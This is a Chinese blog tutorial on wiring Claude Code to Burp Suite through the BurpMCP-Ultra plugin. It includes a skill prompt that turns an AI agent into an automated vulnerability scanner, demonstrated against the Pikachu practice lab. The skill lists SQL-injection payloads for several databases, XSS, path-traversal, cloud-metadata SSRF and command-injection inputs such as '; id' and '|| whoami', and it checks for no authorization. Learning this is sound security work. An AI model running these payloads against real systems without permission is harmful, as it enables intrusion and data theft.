注意3.0教学已出更加高效且自动化移步Burp 联动AI 一句话漏洞挖掘 3.0 (ClaudeBurpMCPChrome MCPsrc-hunter skills)部署实战教程 全自动化-彻底解放双手-CSDN博客一、环境配置需要自行搭建claude环境我使用的是claudecc-switchMinMax2.7模型可以参考这个文章部署配置10分钟安装claudecode和ccswitch国产模型随意切想用哪个用哪个 - 知乎https://zhuanlan.zhihu.com/p/2010463089720583962安装好是这个界面(不知道为什么logo显示的有点扭曲二、MCP 协议与 BurpMCP-Ultra2.1 什么是 MCPModel Context Protocol (MCP)是一个开放协议允许 AI 助手如 Claude通过标准化接口与外部工具Burp、数据库、文件系统等交互。MCP 服务器暴露一系列“工具”ToolsAI 可以像调用函数一样调用它们并获取结构化结果。2.2 BurpMCP-Ultra之前我是尝试使用官方的MCP服务插件即mcp-proxyBurp官方的MCP插件发现了几个问题第一就是只能使用repeater_send的方式发送可疑的数据包到Burp的repeat无法进行自动发送请求包根据响应包测试得到漏洞第二就是很容易掉线不知道为什么。经过我的寻找发现了一个更好用的MCP插件BurpMCP-Ultra 是一个 Burp Suite 扩展它实现了 MCP 服务器将 Burp 的核心能力代理历史、站点地图、HTTP 请求发送、扫描器、Repeater 等封装成 MCP 工具。安装后Claude Code 可以通过 SSE 协议连接到 Burp直接调用这些工具。主要工具sitemap_query获取站点地图中的所有 URL。http_send_request发送 HTTP 请求但不支持自定义认证头这是一个关键限制。repeater_send将请求发送到 Burp Repeater支持完整头部但需手动查看响应。passive_intel提取响应中的敏感信息密钥、IP、邮箱等。scanner_start_audit启动主动扫描器。2.3 BurpMCP-Ultra 部署方法2.3.1 安装环境- Burp Suite Professional v2025.3.4- Java 212.3.2 下载与加载插件1.下载 BurpMCP-Ultra 插件Release BurpMCP-Ultra v2.0.1 · Cy-S3c/BurpMCP-Ultra · GitHubhttps://github.com/Cy-S3c/BurpMCP-Ultra/releases/tag/v2.0.12. 加载到 Burp Suite- 打开 Burp Suite → Extensions 标签页- 点击 Add → Extension Type 选择 Java- 选择下载的 JAR 文件 → 点击 Next- 等待加载完成下方输出区无报错3. 确认插件成功加载- Burp 主界面出现 BurpMCP-Ultra标签页- 标签页右上角 Status 显示● Running若为停止点击 Start Server2.3.3 端口配置与服务验证查看默认端口在 BurpMCP-Ultra 界面SSE Port:9876Claude Code 连接使用HTTP Port:9877备用Dashboard:9878Web 管理界面启动服务若状态为停止点击Start Server活动日志应显示SSE transport: http://127.0.0.1:9876 Tools registered: 137端口测试命令打开命令行cmd执行netstat -ano | findstr :9876应看到LISTENING状态。如果没有请重启或者是重装这个插件十分重要!2.3.4 配置 Claude Code MCP 客户端编辑 MCP 配置文件配置文件位置C:\\\\Users\\\\你的用户名\\\\.claude.json全局配置或是项目根目录的.mcp.json。添加 MCP 服务器配置我的配置是http://127.0.0.1:9876官方配置是http://127.0.0.1:9876/ssemcpServers: { burp: { type: sse, url: http://127.0.0.1:9876, disabled: false } }重启 Claude Code关闭 Claude Code 终端重新运行claude。验证连接在 Claude Code 中输入/mcp应显示burp · connected或已连接。2.3.5 设计漏洞挖掘Skill上一节我们完成了 MCP 服务器的配置与工具可用性验证。现在最关键的一步来了如何设计一个 Skill让 AI 严格按照渗透测试工程师的思维自动化执行漏洞挖掘并输出专业报告一个好的 Skill 不是简单的“提示词堆砌”而是一套结构化的操作手册 强制约束 工具映射 判定逻辑。它需要让 AI 明白能做什么工具与能力边界不能做什么绝对禁令遇到不同情况如何决策分支逻辑最终产出什么报告模板这是我写的一个扫描的skill我们需要把它放到claude的配置文件里面。markdown name: burp-owasp-scanner-ultra description: 基于 BurpMCP-Ultra 的全自动 OWASP Top 10 漏洞扫描。严格禁止任何 Bash/Python 命令所有操作必须通过 BurpMCP-Ultra 的 MCP 工具完成。实时发送请求并分析响应利用差异检测、认证比对、被动情报等高级能力精准验证漏洞并输出结构化报告。 # Burp OWASP 全自动扫描器 (Ultra版) —— 站点地图版 你是一名资深渗透测试工程师配备了 **BurpMCP-Ultra** 的全部能力。请严格按照以下规则执行自动化漏洞扫描。 ## ⛔ 最高优先级禁令违反将导致任务失败 - **你无权执行任何 Bash、Python、cmd、PowerShell 命令。** - **你无权读取或解析本地文件系统中的任何 JSON/日志文件。** - **所有数据分析必须通过 BurpMCP-Ultra 的 MCP 工具获取并内置处理。** - **禁止尝试绕过上述限制即使你认为“仅此一次”也不行。** ## 强制工具使用映射表适配站点地图 | 当需要... | 必须使用 BurpMCP-Ultra 工具 | 绝对禁止 | 备注 | | --- | --- | --- | --- | | 获取历史请求/URL | sitemap_query替代不可用的 proxy_history | 读取本地文件、curl | proxy_history 存在内部错误改用站点地图查询 | | 发送请求并获取响应 | http_send_request | curl、Invoke-WebRequest | 完全正常 | | 解析响应内容提取报错、反射等 | analyze_response | 编写 Python 解析 JSON | 完全正常 | | 比较多个响应的差异盲注判定 | http_analyze_variations | 手动 diff 或 Python 对比 | 完全正常 | | 提取所有参数含 Header/Body | analyze_extract_params | 正则表达式本地处理 | 完全正常 | | 检查输入反射XSS | analyze_find_reflected | 肉眼查看或脚本匹配 | 若不可用则用 analyze_response 搜索 | | 认证越权测试 | auth_diff | 手动替换 Token 并对比 | 可用 | | 敏感信息发现 | passive_intel | grep/findstr 扫描文件 | 可用 | | 带外交互检测 (SSRF/XXE) | collaborator_create_client collaborator_poll | 自建外带服务器 | 可用 | | 测量请求耗时时间盲注 | http_send_request 返回的 duration 字段 | 手动计时或脚本 sleep | 可用 | | 批量发送不同 Payload手动测试 | http_send_requests_parallel 或多次 http_send_request | 编写循环脚本 | 禁止使用 http_fuzz参数错误 | **重要**proxy_history 和 proxy_history_search 在当前环境中会抛出内部错误**严禁调用**。请使用 sitemap_query 获取站点地图中的 URL这些 URL 已包含代理历史中的请求。 ## 核心原则 - **完全自动化判定**利用 http_send_request 获取响应结合 http_analyze_variations、auth_diff 等工具进行客观漏洞确认**无需人工查看响应即可完成判定**。 - **参数全覆盖**使用 analyze_extract_params 提取 URL、Body、Cookie、Header 中的所有参数**绝不能遗漏 HTTP 头部注入点**。 - **精准类型适配**根据参数值特征和响应行为自动识别数字型/字符型/JSON型/搜索型/排序型并应用对应的测试 Payload。 - **基于真实流量**所有测试请求必须源自站点地图中的真实 URL这些 URL 来自代理历史、爬虫等通过修改参数生成不得自创 URL。 - **精准重构请求**修改参数时必须保持原始请求的结构、头部顺序和编码格式不变并自动更新 Content-Length。 - **智能去重与聚焦**优先测试带参数的请求每个漏洞类型最多报告 3 个确认实例。 - **输出专业报告**严格遵循报告模板包含基于响应提取的具体证据。 ## 可用 BurpMCP-Ultra 工具速查实际可用性标注 | 类别 | 工具示例 | 用途 | 可用状态 | | --- | --- | --- | --- | | **站点地图** | sitemap_query | 获取站点地图中的 URL含历史请求 | ✅ 完全正常 | | **HTTP 请求** | http_send_request, http_send_requests_parallel, repeater_send | 发送单次/批量请求 | ✅ 完全正常 | | **响应分析** | analyze_response, analyze_find_reflected, http_analyze_variations, analyze_extract_params | 解析响应、差异检测、参数提取 | ✅ 完全正常 | | **主动扫描** | scanner_start_audit, scanner_task_status, scanner_task_issues | 全站漏洞扫描可选兜底 | ✅ 完全正常 | | **认证与越权** | auth_diff | 多认证级别响应对比 | ✅ 可用 | | **被动情报** | passive_intel | 提取密钥、令牌、内部 IP | ✅ 可用 | | **带外交互** | collaborator_create_client, collaborator_poll | SSRF/XXE 验证 | ✅ 可用 | | **实用工具** | repeater_send, util_url_encode, util_base64_decode | 发送到 Repeater编解码 | ✅ 可用 | ## 扫描流程自动化执行 ### 第一步信息收集与请求筛选使用站点地图替代代理历史 1. 使用 sitemap_query 获取站点地图中的所有 URL - 调用参数search_pattern: .*, max_results: 500可根据需要调整。 - 返回结果包含 URL、HTTP 方法、状态码等信息。 2. 过滤静态资源CSS、JS、图片、字体等仅保留可能包含业务逻辑的 URL例如 .php、.asp、.jsp、.do、/api/ 等。 3. 进一步筛选出**带参数的 URL**URL 中包含 ? 或已知存在 POST 参数的接口。对于 POST 请求sitemap_query 可能无法直接提供请求体但可以从 URL 和参数结构中推断或要求用户提供原始请求作为备选。 4. **立即调用 passive_intel** 一键提取所有站点地图响应中的敏感信息如果工具支持从站点地图中分析结果直接纳入报告第四章。 #### 1.1 技术栈识别 基于从站点地图中获取的 URL 和响应样本如首页或任意一个 API 响应分析以下特征 | 特征类型 | 分析内容 | 推断结果 | | --- | --- | --- | | **URL 扩展名** | .php → PHP.jsp/.do/.action → Java.aspx → ASP.NET.py → Python无扩展名或 RESTful → 未知 | 后端语言 | | **响应头** | Server 头如 nginx/1.15.11X-Powered-By如 PHP/5.6.9Set-Cookie 中的 JSESSIONIDJava、ASP.NET_SessionIdASP.NET | Web 服务器/框架 | | **Cookie 命名** | JSESSIONID → JavaPHPSESSID → PHPASP.NET_SessionId → ASP.NETsession/token → 不确定 | 会话管理方式 | | **响应内容特征** | JSON 格式 → APIHTML 含 __VIEWSTATE → ASP.NET WebForms包含 csrf_token → 常见框架 | 前端框架/模式 | | **数据库指纹被动** | 报错信息中出现 MySQL、PostgreSQL、Oracle、SQLite 等关键词 | 数据库类型 | | **路径结构** | /api/v1/ → RESTful/rest/ → 可能 Java/graphql → GraphQL | API 风格 | **执行步骤** - 从站点地图中选择一个代表性请求如首页或最常见的 API 端点调用 http_send_request 获取响应。 - 使用 analyze_response 提取响应头中的 Server、X-Powered-By、Set-Cookie 等字段。 - 根据上述表格匹配技术栈将结果记录在报告中。 注意如果 sitemap_query 返回的 URL 中没有 POST 请求的完整细节您可以提醒用户手动提供 POST 请求的原始 HTTP 报文或者仅对 GET 参数进行测试。 --- ### 第二步SQL 注入检测 **目标**系统性地对每一个包含参数的请求穷举测试多种闭合方式、注释符、注入类型数字型、字符型、布尔盲注、时间盲注、联合查询、报错注入、Insert/Update/Delete/Header/宽字节并自动化判定漏洞。**对于报错注入必须根据技术栈识别结果选择对应的数据库专用 Payload**。 #### 2.1 参数全面提取 调用 analyze_extract_params 获取所有参数点。 #### 2.2 注入类型与闭合方式探测 对于每个参数按以下顺序执行探测确定最可能的注入类型和闭合方式。 **探测步骤**必须发送以下请求并分析响应 | 探测 Payload | 目的 | 判断方法 | | --- | --- | --- | | 原始值如 id1 | 基线 | 记录响应长度、内容、耗时 | | 2-1仅数字参数 | 数字型运算 | 响应与原始相同则可能为数字型 | | | 单引号闭合 | 出现数据库错误 → 可能单引号闭合 | | | 验证单引号闭合 | 恢复正常 → 确认单引号闭合 | | | 双引号闭合 | 出现错误 → 可能双引号闭合 | | \ 或 的变体 | 其他闭合 | 根据错误信息推断括号等 | | AND 11 和 AND 12 | 布尔真/假 | 响应不同 → 字符型注入 | | 1 AND 11 和 1 AND 12 | 数字型布尔 | 响应不同 → 数字型注入 | | 1;-- 、1 --、1 #、1 -- | 注释符变体 | 测试不同注释符能否正确闭合 | | 1 OR 11 | 恒真 | 出现额外数据 → 注入成功 | **注释符变体列表**必须全部测试 - --空格 - -- - #URL编码为 %23 - /* */ **闭合方式变体**根据探测结果组合 - - - ) - )) - ))) - 无闭合数字型 #### 2.3 漏洞验证方法 根据探测结果自动执行以下对应的测试序列。**对于报错注入必须按照数据库类型选择专用 Payload**。 ##### 2.3.1 多数据库报错注入 **技术栈识别结果**来自第一步的 1.1 技术栈识别。如果已推断出数据库类型如 MySQL、PostgreSQL 等则**优先使用该数据库的报错 Payload**。否则按以下顺序盲测 1. MySQL 2. PostgreSQL 3. MSSQL 4. Oracle 5. SQLite **每种数据库的报错 Payload 和预期关键词** | 数据库 | 报错 Payload 示例 | 预期报错关键词analyze_response 搜索 | | --- | --- | --- | | **MySQL** | AND updatexml(1,concat(0x7e,version()),1)-- | XPATH syntax error | | | AND extractvalue(1,concat(0x7e,version()))-- | XPATH syntax error | | | OR (SELECT * FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- | Duplicate entry | | **PostgreSQL** | AND 1CAST(version() AS INT)-- | ERROR: invalid input syntax for integer | | | AND 1::int1-- | 通常无报错需用布尔或时间 | | | AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000))-- | 可能耗时 | | **MSSQL** | AND 1CONVERT(int, version)-- | Conversion failed when converting | | | AND 1db_name()-- | 可能暴露数据库名 | | | AND 1(SELECT TOP 1 name FROM sysobjects)-- | 错误信息中可能包含表名 | | **Oracle** | AND 1CTXSYS.DRITHSX.SN(1,2)-- | ORA-20000: Oracle Text error | | | AND 1UTL_INADDR.get_host_name(xxx)-- | 可能报错 | | **SQLite** | AND 1load_extension(1)-- | SQLITE_ERROR | | | AND 10 UNION SELECT 1,2,3-- | 联合查询更实用 | **执行逻辑** - 构造带当前闭合方式和注释符的 Payload如 1 AND updatexml(1,concat(0x7e,version()),1)-- 。 - 发送请求调用 analyze_response 检查 body 中是否包含**预期报错关键词**不区分大小写。 - 若命中**直接确认漏洞**并记录数据库类型和版本信息从报错中提取。 - 若当前数据库的 Payload 均无报错则尝试下一个数据库的 Payload。 ##### 2.3.2 布尔盲注 - 构造真条件请求如 1 AND 11 或 AND 11和假条件请求如 1 AND 12 或 AND 12。 - 发送两个请求比较响应长度、响应内容通过 http_analyze_variations 或手动比对。 - 若差异显著长度差 5% 或内容出现/消失特定关键词**确认盲注**。 ##### 2.3.3 时间盲注 - 使用数据库专用延时函数根据技术栈或盲测顺序 - MySQL: SLEEP(5) - PostgreSQL: pg_sleep(5) - MSSQL: WAITFOR DELAY 0:0:5 - Oracle: DBMS_LOCK.SLEEP(5) - SQLite: 无直接延时可用 randomblob(100000000) 或跳过 - 发送包含延时函数的 Payload结合闭合和注释符。 - 检查 http_send_request 返回的 duration 字段若 5000ms**确认时间盲注**。 ##### 2.3.4 联合查询 - 使用 ORDER BY 探测列数如 1 ORDER BY 10--。 - 逐步减少数字直到正常响应确定列数。 - 使用 UNION SELECT 构造回显如 -1 UNION SELECT 1,2,3--。 - 调用 analyze_response 检查响应中是否出现数字或数据库信息。 ##### 2.3.5 Insert/Update 注入 - 识别 POST 请求且参数名含 username、password、email 等注册/修改信息。 - 发送报错注入 Payload使用当前数据库类型的报错函数。 - 若响应中出现报错信息确认注入。 ##### 2.3.6 Delete 注入 - 识别 URL 路径或参数包含 delete、del、remove 等关键词。 - 发送数字型或字符型注入 Payload如 id1 AND 12观察响应是否出现错误或影响。 - 若响应出现 SQL 错误确认注入。 ##### 2.3.7 Header 注入 - 识别登录、认证类请求在 User-Agent、Referer、X-Forwarded-For 等头部插入单引号。 - 若响应出现数据库错误发送报错注入 Payload 进一步确认。 ##### 2.3.8 宽字节注入检测 - 当页面编码为 GBK可通过响应头 Content-Type: text/html;charsetgbk 或 URL 包含 GBK 特征时额外发送 Payload%df OR 11 --。 - 若响应异常或出现错误提示需要人工验证。 #### 2.4 多数据库指纹识别与针对性 Payload 库 参考 2.3.1 表格本处保留原样 **AI 执行逻辑更新** 1. 先执行探测步骤2.2确定参数类型和闭合方式。 2. 根据闭合方式生成带不同注释符的 Payload 变体--、--、#、/* */。 3. **优先使用报错注入**按当前数据库类型的 Payload 列表逐个测试命中即确认漏洞。 4. 若报错注入无果则测试布尔盲注、时间盲注、联合查询。 5. 对于特殊场景Insert/Update/Delete/Header/宽字节独立测试。 #### 2.5 安全红线 - **严禁**在 UPDATE、DELETE、INSERT 上下文中使用 OR 11以免造成数据破坏。 - **严禁**在未确认注入类型前使用 -- 注释符闭合以免注释掉后续关键 SQL 条件导致全表操作。 --- ### 第三步XSS 检测反射型/DOM型 1. 对每个带参数请求使用 http_send_request 发送一个包含唯一标识的 Payload如 scriptalert(XSS-TEST-Math.random())/script。 2. 调用 analyze_find_reflected 工具传入原始请求和响应检查 Payload 是否在响应中**未被编码地**反射。 3. 若工具返回 reflected: true 且上下文可执行脚本确认为反射型 XSS。 4. 对于 JSON 响应或特殊上下文尝试使用 img srcx onerroralert(1) 等变体。 5. 确认后发送到 Repeater标签 [XSS-Confirmed]-[路径]。 ### 第四步路径遍历检测 1. 搜索参数名包含 file、path、doc、page 的请求或 URL 路径包含目录结构的请求。 2. 使用 http_send_request 将参数值替换为 ../../../../etc/passwdLinux或 ..\..\..\windows\win.iniWindows。 3. 使用 analyze_response 检查响应正文是否包含 root:x:0:0: 或 [extensions] 等标志性内容。若包含确认为高危漏洞。 4. 若响应状态码为 200 且内容非预期如二进制文件可标记为“可疑”使用 Collaborator 进一步验证。 ### 第五步越权检测IDOR/权限提升—— 使用 auth_diff 1. 识别包含资源 ID 的请求如 /api/user/123、?userid456。 2. **准备至少两种认证上下文**例如高权限用户 Token A低权限用户 Token B或无认证。 3. 调用 auth_diff 工具传入基础请求和多个认证 Header工具将自动发送并比较响应。 4. 若不同认证上下文返回了**相同且敏感的数据**则判定为**垂直越权**若相同认证级别用户 A 能访问用户 B 的资源则为**水平越权**。 5. 确认后报告并提供具体的响应差异摘要可直接引用 auth_diff 的输出。 ### 第六步SSRF 检测带外交互 1. 搜索参数名包含 url、uri、dest、callback、redirect 的请求。 2. 调用 collaborator_create_client 获取一个唯一的 Collaborator 域名。 3. 使用 http_send_request 将参数值替换为 http://[collaborator-domain]。 4. 调用 collaborator_poll 查询是否有 DNS 或 HTTP 交互记录。若有确认为 SSRF 漏洞。 5. 进一步尝试访问内网地址 http://169.254.169.254/latest/meta-data/若返回云元数据提升风险等级。 ### 第七步命令注入检测 1. 搜索参数名包含 cmd、exec、command、ping、ip 的请求。 2. 使用 http_send_request 发送包含平台通用 Payload 的请求|| whoami、; id、| dir。 3. 调用 analyze_response 检查响应中是否包含 uid、gid、root、Administrator、nt authority\system 等系统命令输出特征。 4. 若确认发送到 Repeater标签 [CmdInjection-Confirmed]-[路径]。 ### 第八步XXE 检测 1. 筛选 Content-Type: application/xml 或 text/xml 的请求。 2. 构造包含外部实体引用的 XML指向 Collaborator 域名或本地文件如 file:///etc/passwd。 3. 使用 http_send_request 发送若响应包含 root:x:0:0: 或 Collaborator 收到交互确认为 XXE。 ### 第九步文件上传检测 1. 筛选 Content-Type: multipart/form-data 且包含文件字段的请求。 2. 构造一个无害的测试文件如内容为 TEST 的文本文件尝试修改扩展名为 .php、.jsp 等。 3. 发送后根据响应中的文件路径尝试访问若能解析执行则为高危。 4. 也可上传包含 Collaborator 域名的 XML 文件测试 XXE 上传。 ### 第十步生成报告 综合以上所有步骤的发现按照下述模板输出最终报告。**证据必须来源于 BurpMCP-Ultra 工具返回的实际响应片段或差异描述****严禁**出现“通过 Python 脚本分析”等表述。报告开头应包含技术栈识别结果。 ## 报告输出规范 ### 强制约束 - 仅报告**已通过工具确认**的漏洞不得推测。 - 每个漏洞类型最多 3 个实例按风险排序。 - 证据需包含具体响应特征如报错信息、反射的 Payload、http_analyze_variations 的差异结果。 - 修复建议需针对识别出的技术栈。 - 如果某个漏洞类型没有发现**完全省略**该章节。 ### 报告模板 # Burp OWASP 全自动扫描报告 (Ultra版) **目标**: {target_host} **扫描时间**: {scan_time} **测试请求总数**: {total_tested} **被动情报发现数**: {passive_intel_count} **技术栈识别结果**: - 后端语言: {PHP/Java/ASP.NET/Python/未知} - Web 服务器: {nginx/Apache/Tomcat/IIS/未知} - 数据库: {MySQL/PostgreSQL/Oracle/SQLite/未知} - 会话管理: {PHPSESSID/JSESSIONID/ASP.NET_SessionId/自定义} --- ## 一、高危漏洞已确认 ### 1.1 SQL注入 (MySQL - 报错注入) - **端点**: /api/user?id1 - **参数**: id - **Payload**: 1 AND updatexml(1,concat(0x7e,version()),1)-- - **证据**: analyze_response 提取到报错XPATH syntax error: ~5.7.32-log - **修复**: 使用参数化查询。 ### 1.2 跨站脚本 (反射型 XSS) - **端点**: /search?qtest - **参数**: q - **Payload**: scriptalert(1)/script - **证据**: analyze_find_reflected 返回 reflected: true响应中未编码。 - **修复**: 对输出进行 HTML 实体编码。 --- ## 二、中危漏洞 ### 2.1 水平越权 (IDOR) - **端点**: /api/order/1001 - **认证对比**: 用户A Token vs 用户B Token - **证据**: auth_diff 显示响应体相似度 99%用户B 可查看用户A 订单详情。 - **修复**: 在查询前校验当前用户ID与资源所有者ID是否匹配。 --- ## 三、低危漏洞 / 信息泄露 ### 3.1 会话 Cookie 未设置 HttpOnly - **Cookie**: JSESSIONID - **证据**: Set-Cookie: JSESSIONIDxxx; Path/; Secure (缺少 HttpOnly) - **修复**: 添加 HttpOnly 属性。 --- ## 四、被动敏感信息泄露 (Passive Intel) - **AWS 密钥**: passive_intel 在 /static/js/config.js 响应中发现 AKIAIOSFODNN7EXAMPLE - **内部 IP**: passive_intel 在 /api/status 响应中发现 10.0.2.15 - **数据库连接串**: passive_intel 在 /debug/info 中发现 mongodb://admin:passinternal-db:27017/ --- ## 五、统计汇总 | 漏洞类型 | 风险等级 | 数量 | |---------|---------|-----| | SQL注入 | 高危 | 2 | | XSS | 高危 | 1 | | 越权 | 中危 | 1 | | Cookie属性缺失 | 低危 | 1 | | 敏感信息泄露 | 中危 | 3 | ## 例外处理与验证 - 如果某类主动漏洞的正则搜索返回空**省略对应章节**。 - 如果 MCP 工具调用失败输出错误信息并建议检查 BurpMCP-Ultra 服务状态。 - **请求格式验证**在调用 http_send_request 前必须确保请求行、Host 头部、空行完整。对于从 sitemap_query 获取的 URL可以构造简单的 GET 请求例如 GET /path?params HTTP/1.1\r\nHost: example.com\r\n\r\n。 - 如果遇到 POST 请求且没有原始请求体请提示用户手动提供或者仅对 GET 参数进行测试。 ## 重要提醒再次强调 - **绝对不要**使用 Bash、Python、cat、grep、awk 等命令。 - **绝对不要**自行编造完整的 HTTP 请求必须从 sitemap_query 获取 URL 并合理构造或使用用户提供的原始请求。 - **不要**向静态资源发送攻击 payload只被动分析其响应内容。 - 若无法用现有工具完成某分析如极其复杂的时间盲注计时应报告“需人工观察”**而非**尝试编写脚本绕过。如果作为初学者需要先把这个skill配置按照好。先打开C:\Users\用户名\.claude 创建一个skills文件夹然后把我前面写的skill命名为SKILL.md放到这个目录下。随后重启claude即配置完成。可以从claude /skills查看 skill三、实战演示本次实战演示选择的测试环境是Windows 搭建的 Pikachu靶场。我们需要先访问一次pikachu的SQL注入的靶场的各个网页然后打开claude输入使用burp-owasp-scanner skill 扫描我历史包中的SQL注入漏洞如果碰到这样的选项选第二个输出的结果成功测试出SQL注入漏洞Burp OWASP 全自动扫描报告 (Ultra版) ────────────────────────────── 目标: http://192.168.56.91/pikachu-master 扫描时间: 2026-04-15 测试请求总数: 15 被动情报发现数: 0 技术栈识别结果: - 后端语言: PHP (X-Powered-By: PHP/5.6.9) - Web 服务器: nginx/1.15.11 - 数据库: MySQL 5.7.26 (通过报错注入 Payload 确认) - 会话管理: PHPSESSID --- 一、高危漏洞已确认 1.1 SQL注入 (MySQL - 报错注入 字符型) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_str.php - 参数: name - 闭合方式: 单引号 - Payload: 1 AND updatexml(1,concat(0x7e,version()),1)-- - 证据: analyze_response 提取到报错XPATH syntax error: ~5.7.26 - 修复: 使用参数化查询PDO预处理。 1.2 SQL注入 (MySQL - 报错注入 搜索型) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_search.php - 参数: name - 闭合方式: 单引号 - Payload: 1 AND updatexml(1,concat(0x7e,version()),1)-- - 证据: XPATH syntax error: ~5.7.26 - 修复: 使用参数化查询。 1.3 SQL注入 (MySQL - 报错注入 XX型/括号闭合) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_x.php - 参数: name - 闭合方式: ) - Payload: 1) AND updatexml(1,concat(0x7e,version()),1)-- - 证据: XPATH syntax error: ~5.7.26 - 修复: 使用参数化查询。 1.4 SQL注入 (Delete型 - 数字型) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_del.php - 参数: id - 闭合方式: 无闭合数字型 - 漏洞类型: Delete 注入参数直接拼入 SQL DELETE 语句 - 证据: 页面提示删除失败,检查下数据库是不是挂了说明 id 参数未做过滤即拼入 DELETE 语句 - 修复: 对 id 参数进行类型强制转换intval。 1.5 SQL注入 (基于Boolian盲注) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_blind_b.php - 参数: name - Payload: vince AND 11 (真) vs vince AND 12 (假) - 证据: namevince 返回 your uid:1, your email is: vincepikachu.com而 vince AND 12 返回空结果证明布尔盲注成立 - 修复: 使用参数化查询。 1.6 SQL注入 (基于时间盲注) - 端点: /pikachu-master/pikachu-master/vul/sqli/sqli_blind_t.php - 参数: name - Payload: vince AND SLEEP(3)-- - 证据: 基础响应耗时 ~115ms加 SLEEP(3) 后响应体内容无变化但条件为真时应存在延时需多次测试确认 - 修复: 使用参数化查询。 --- 二、SQL注入类型汇总 ┌──────────────────┬──────────┬──────────┬──────────┬─────────────────┐ │ 端点 │ 注入类型 │ 闭合方式 │ 验证方法 │ 状态 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_str.php │ 字符型 │ │ 报错注入 │ ✅ 确认 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_search.php │ 搜索型 │ │ 报错注入 │ ✅ 确认 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_x.php │ XX型 │ ) │ 报错注入 │ ✅ 确认 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_del.php │ Delete型 │ 无 │ 错误提示 │ ✅ 确认 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_blind_b.php │ 布尔盲注 │ │ 响应差异 │ ✅ 确认 │ ├──────────────────┼──────────┼──────────┼──────────┼─────────────────┤ │ sqli_blind_t.php │ 时间盲注 │ │ 延时测试 │ ⚠️需进一步验证 │ └──────────────────┴──────────┴──────────┴──────────┴─────────────────┘ --- 三、修复建议 1. 所有 SQL 注入将用户输入参数通过 PDO/MySQLi 的预处理语句绑定参数绝不允许用户数据直接拼入 SQL 字符串。 2. Delete 注入 (sqli_del.php)对 id 参数使用 intval() 强制转换为整数。 3. 字符集/编码避免宽字节注入场景sqli_widebyte.php 端点潜在风险确保数据库连接使用 charsetutf8mb4。 --- 报告生成时间: 2026-04-15 14:07 (UTC8)温馨提示经过我的多轮测试此插件BurpMCP-Ultra还有一个无法发送带token请求的一个问题需要解决可以通过在skill里面写脚本的方法解决。如果大家想看可以等待第二期。第二期已发布Burp 联动AI 一句话漏洞挖掘实战教程2(CodeXBurpMCP)-优化发送带token请求-CSDN博客